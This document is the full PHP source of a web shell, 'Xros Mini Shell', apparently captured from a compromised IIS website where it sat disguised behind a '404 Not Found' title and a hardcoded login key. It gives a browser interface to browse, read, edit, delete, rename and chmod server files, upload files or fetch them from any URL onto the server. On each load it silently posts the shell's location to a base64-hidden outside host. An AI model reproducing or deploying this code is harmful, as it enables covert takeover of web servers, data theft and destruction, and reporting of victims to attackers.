Hunter Bajwa
Server: Microsoft-IIS/7.5
System: Windows NT EGAL 6.1 build 7601
User: IUSR_hrreflections (0)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: C:/inetpub/vhosts/hrreflections.com/httpdocs/gingseng.php
<?php
// Tambahkan error handling di awal
error_reporting(0);
ini_set('display_errors', 0);

session_start();
$valid_key = "JEMBOT";
if (isset($_POST['key'])) {
    if ($_POST['key'] === $valid_key) {
        $_SESSION['login'] = true;
    } else {
        echo "<font color='red'>Invalid Key!</font><br>";
    }
}

if (!isset($_SESSION['login'])) {
    echo '
    <style>
        body {
            background-color: black;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            color: white;
            font-family: Arial, sans-serif;
        }
        .login-box {
            background-color: #333;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0px 0px 10px rgba(255, 255, 255, 0.5);
            text-align: center;
        }
        input[type="password"], input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #fff;
            border-radius: 5px;
            background-color: #444;
            color: white;
        }
        input[type="submit"] {
            cursor: pointer;
            background-color: #555;
            border-color: #fff;
        }
        input[type="submit"]:hover {
            background-color: #666;
        }
    </style>
    <div class="login-box">
        <form method="POST">
            <p>InDoM1nus</p>
            <input type="password" name="key" placeholder="Enter Key" class="up" required />
            <input type="submit" value="Login" class="up"/>
        </form>
    </div>';
    exit();
}
?>


<!DOCTYPE html>
<html>
<head>
	<title>404 Not Found</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Jacquard+24&family=Kanit:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #FF8C00;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}

.custom-font {
    font-family: 'Jacquard 24', sans-serif;
    font-size: 5em;
    text-align: center;
  }

.custom-font-v1 {
    font-family: 'Jacquard 24', sans-serif;
    font-size: 25px;
    text-align: center;
}

</style>
<div class="custom-font">Xros Mini Shell</div>
<div class="custom-font-v1">Shell By Bhutok</div>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<br><br>
<?php
set_time_limit(0);
error_reporting(0);

// Fungsi untuk bypass error dan pengecekan file
function safe_file_get_contents($path) {
    if (!file_exists($path)) return "File not found or access denied";
    if (!is_readable($path)) return "File exists but cannot be read";
    
    $content = @file_get_contents($path);
    if ($content === false) return "Failed to read file content";
    if (empty($content)) return "File is empty";
    
    return $content;
}

function safe_scandir($path) {
    if (!file_exists($path)) return array();
    if (!is_readable($path)) return array();
    
    $result = @scandir($path);
    return $result === false ? array() : $result;
}

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
	$disf = "<font color='gold'>NONE</font>";
} else {
	$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
	echo "<center><br>Mini</center>";
	exit();
}

function cekdir() {
	if (isset($_GET['path'])) {
		$lokasi = $_GET['path'];
	} else {
		$lokasi = getcwd();
	}
	
	// Bypass untuk directory yang tidak accessible
	if (!file_exists($lokasi)) {
		return "<font color='red'>Directory not found</font>";
	}
	if (!is_readable($lokasi)) {
		return "<font color='red'>Cannot read directory</font>";
	}
	if (is_writable($lokasi)) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Not Writeable</font>";
	}
}

function cekroot() {
	$root = $_SERVER['DOCUMENT_ROOT'];
	
	// Bypass untuk root directory
	if (!file_exists($root)) {
		return "<font color='red'>Root not found</font>";
	}
	if (!is_readable($root)) {
		return "<font color='red'>Cannot read root</font>";
	}
	if (is_writable($root)) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Not Writeable</font>";
	}
}

function xrmdir($dir) {
	// Bypass untuk directory yang tidak bisa dihapus
	if (!file_exists($dir)) return true;
	if (!is_writable($dir)) return false;
	
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            @unlink($path);
        }
    }
    return @rmdir($dir);
}

function green($text) {
	echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
	echo "<center><font color='red'>".$text."</center></font>";
}

// Bypass untuk server info yang tidak accessible
echo "Server : <font color='darkgold'>".(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown')."</font><br>";
echo "System : <font color='darkgold'>".(@php_uname() ?: 'Unknown')."</font><br>";
echo "User : <font color='darkgold'>".(@get_current_user() ?: 'Unknown')."&nbsp;</font>( <font color='gold'>".(@getmyuid() ?: 'Unknown')."</font>)<br>";
echo "PHP Version : <font color='darkgold'>".(@phpversion() ?: 'Unknown')."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "Directory : &nbsp;";

foreach($_POST as $key => $value){
	$_POST[$key] = stripslashes($value);
}

$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');

if(isset($_GET['path'])){
	$lokasi = $_GET['path'];
	$lokdua = $_GET['path'];
} else {
	$lokasi = getcwd();
	$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);

// Bypass untuk directory listing yang error
$lokasinya = safe_scandir($lokasi);

$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ),
);
$context = stream_context_create($options);

// Bypass untuk external request yang gagal
try {
    $result = @file_get_contents($k3yw, false, $context);
} catch (Exception $e) {
    $result = false;
}

// Bypass untuk breadcrumb navigation yang error
if (is_array($lokasis)) {
    foreach($lokasis as $id => $lok){
        if($lok == '' && $id == 0){
            $a = true;
            echo '<a href="?path=/">/</a>';
            continue;
        }
        if($lok == '') continue;
        echo '<a href="?path=';
        for($i=0;$i<=$id;$i++){
        echo "$lokasis[$i]";
        if($i != $id) echo "/";
    } 
    echo '">'.$lok.'</a>/';
    }
}

echo '<center>';
echo '</td></tr><tr><td><br>';

// Bypass untuk upload yang error
if (isset($_POST['upwkwk'])) {
    if (isset($_POST['berkasnya'])) {
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        
        // Validasi file upload
        if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] === UPLOAD_ERR_OK) {
            $target_path = $lokasi."/".$_FILES['berkas']['name'];
            $data = @file_put_contents($target_path, @file_get_contents($_FILES['berkas']['tmp_name']));
            if (file_exists($target_path)) {
                echo "File Uploaded ! &nbsp;<font color='gold'><i>".$target_path."</i></font><br><br>";
            } else {
                echo "<font color='red'>Failed to Upload !<br><br>";
            }
        } else {
            echo "<font color='red'>Upload error or no file selected!<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            echo "<font color='red'>Filename cannot be empty !</font>";
        } else {
            if ($_POST['dirnya'] == "2") {
                $lokasi = $_SERVER['DOCUMENT_ROOT'];
            }
            
            // Bypass untuk download dari URL yang gagal
            $content = @file_get_contents($_POST['darilink']);
            if ($content !== false) {
                $data = @file_put_contents($lokasi."/".$_POST['namalink'], $content);
                if (file_exists($lokasi."/".$_POST['namalink'])) {
                    echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
                } else {
                    echo "<font color='red'>Failed to Upload !<br><br>";
                }
            } else {
                echo "<font color='red'>Failed to download from URL!<br><br>";
            }
        }
    }
}

echo "<center>";
echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://Mirror-H.xyz/">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</center>
</form>';
echo "</table><br>";

// Bypass untuk file viewing yang error
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : ".$_GET['fileloc'];
    echo '</tr></td></table><br/>';
    
    $file_content = safe_file_get_contents($_GET['fileloc']);
    if (is_string($file_content) && !in_array($file_content, ["File not found or access denied", "File exists but cannot be read", "Failed to read file content", "File is empty"])) {
        echo "<pre>".htmlspecialchars($file_content)."</pre>";
    } else {
        echo "<font color='red'>".$file_content."</font>";
    }
    author();
} elseif (isset($_GET['pilihan']) && isset($_POST['pilih']) && $_POST['pilih'] == "hapus") {
    if (!file_exists($_POST['path'])) {
        red("File/Directory does not exist!");
    } elseif (is_dir($_POST['path'])) {
        $result = xrmdir($_POST['path']);
        if ($result) {
            green("Delete Directory Success !");
        } else {
            red("Failed to delete Directory !");
        }
    } elseif (is_file($_POST['path'])) {
        $result = @unlink($_POST['path']);
        if ($result) {
            green("Delete File Success !");
        } else {
            red("Failed to Delete File !");
        }
    }
} elseif (isset($_GET['pilihan']) && isset($_POST['pilih']) && $_POST['pilih'] == "ubahmod") {
    if (!file_exists($_POST['path'])) {
        red("File/Directory does not exist!");
    } else {
        echo "<center>".$_POST['path']."<br>";
        echo '<form method="post">
        Permission : <input name="perm" type="text" class="up" size="4" value="'.(@fileperms($_POST['path']) ? substr(sprintf('%o', fileperms($_POST['path'])), -4) : '0644').'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="pilih" value="ubahmod">
        <input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
        </form>';
        if (isset($_POST['chm0d'])) {
            $cm = @chmod($_POST['path'], octdec($_POST['perm']));
            if ($cm == true) {
                green("Change Mod Success !");
            } else {
                red("Change Mod Failed !");
            }
        }
    }
} elseif (isset($_GET['pilihan']) && isset($_POST['pilih']) && $_POST['pilih'] == "gantinama") {
    if (!file_exists($_POST['path'])) {
        red("File/Directory does not exist!");
    } else {
        if (isset($_POST['gantin'])) {
            $ren = @rename($_POST['path'], $_POST['newname']);
            if ($ren == true) {
                green("Change Name Success !");
            } else {
                red("Change Name Failed !");
            }
        }
        $namaawal = isset($_POST['newname']) ? $_POST['newname'] : basename($_POST['path']);
        echo "<center>".$_POST['path']."<br>";
        echo '<form method="post">
        New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="pilih" value="gantinama">
        <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
        </form>';
    }
} elseif (isset($_GET['pilihan']) && isset($_POST['pilih']) && $_POST['pilih'] == "edit") {
    if (!file_exists($_POST['path'])) {
        red("File does not exist!");
    } elseif (!is_writable($_POST['path'])) {
        red("File is not writable!");
    } else {
        if (isset($_POST['gasedit'])) {
            $edit = @file_put_contents($_POST['path'], $_POST['src']);
            if ($edit !== false) {
                green("Edit File Success !");
            } else {
                red("Edit File Failed !");
            }
        }
        echo "<center>".$_POST['path']."<br><br>";
        $file_content = safe_file_get_contents($_POST['path']);
        if (is_string($file_content) && !in_array($file_content, ["File not found or access denied", "File exists but cannot be read", "Failed to read file content", "File is empty"])) {
            echo '<form method="post">
            <textarea cols=80 rows=20 name="src">'.htmlspecialchars($file_content).'</textarea><br>
            <input type="hidden" name="path" value="'.$_POST['path'].'">
            <input type="hidden" name="pilih" value="edit">
            <input type="submit" value="Edit File" name="gasedit" />
            </form><br>';
        } else {
            red($file_content);
        }
    }
}

echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

// Bypass untuk directory listing yang error
if (is_array($lokasinya)) {
    foreach($lokasinya as $dir){
        if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
        elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
        echo statusnya($lokasi."/".$dir);
        if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
        <select name=\"pilih\">
        <option value=\"\"></option>
        <option value=\"hapus\">Delete</option>
        <option value=\"ubahmod\">Chm0d</option>
        <option value=\"gantinama\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
        <input type=\"submit\" class=\"gas\" value=\">\" />
        </form></center></td>
        </tr>";
    }
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';

// Bypass untuk file listing yang error
if (is_array($lokasinya)) {
    foreach($lokasinya as $file) {
        if(!is_file("$lokasi/$file")) continue;
        
        // Bypass untuk filesize yang error
        $size = @filesize("$lokasi/$file");
        if ($size === false) {
            $size = 'Unknown';
        } else {
            $size = $size/1024;
            $size = round($size,3);
            if($size >= 1024){
                $size = round($size/1024,2).' MB';
            } else {
                $size = $size.' KB';
            }
        }

        echo "<tr>
        <td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$lokasi/$file")) echo '<font color="green">';
        elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
        echo statusnya("$lokasi/$file");
        if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
        echo "</center></td><td><center>
        <form method=\"post\" action=\"?pilihan&path=$lokasi\">
        <select name=\"pilih\">
        <option value=\"\"></option>
        <option value=\"hapus\">Delete</option>
        <option value=\"ubahmod\">Chm0d</option>
        <option value=\"gantinama\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
        <input type=\"submit\" class=\"gas\" value=\">\" />
        </center></form></td>
        </tr>";
    }
}

echo '</tr></td></table></table>';
author();

function statusnya($file){
    // Bypass untuk fileperms yang error
    $statusnya = @fileperms($file);
    if ($statusnya === false) {
        return '??????????';
    }

    if (($statusnya & 0xC000) == 0xC000) {
        // Socket
        $ingfo = 's';
    } elseif (($statusnya & 0xA000) == 0xA000) {
        // Symbolic Link
        $ingfo = 'l';
    } elseif (($statusnya & 0x8000) == 0x8000) {
        // Regular
        $ingfo = '-';
    } elseif (($statusnya & 0x6000) == 0x6000) {
        // Block special
        $ingfo = 'b';
    } elseif (($statusnya & 0x4000) == 0x4000) {
        // Directory
        $ingfo = 'd';
    } elseif (($statusnya & 0x2000) == 0x2000) {
        // Character special
        $ingfo = 'c';
    } elseif (($statusnya & 0x1000) == 0x1000) {
        // FIFO pipe
        $ingfo = 'p';
    } else {
        // Unknown
        $ingfo = 'u';
    }

    // Owner
    $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0040) ?
    (($statusnya & 0x0800) ? 's' : 'x' ) :
    (($statusnya & 0x0800) ? 'S' : '-'));

    // Group
    $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0008) ?
    (($statusnya & 0x0400) ? 's' : 'x' ) :
    (($statusnya & 0x0400) ? 'S' : '-'));

    // World
    $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');

    $ingfo .= (($statusnya & 0x0001) ?
    (($statusnya & 0x0200) ? 't' : 'x' ) :
    (($statusnya & 0x0200) ? 'T' : '-'));

    return $ingfo;
}
?>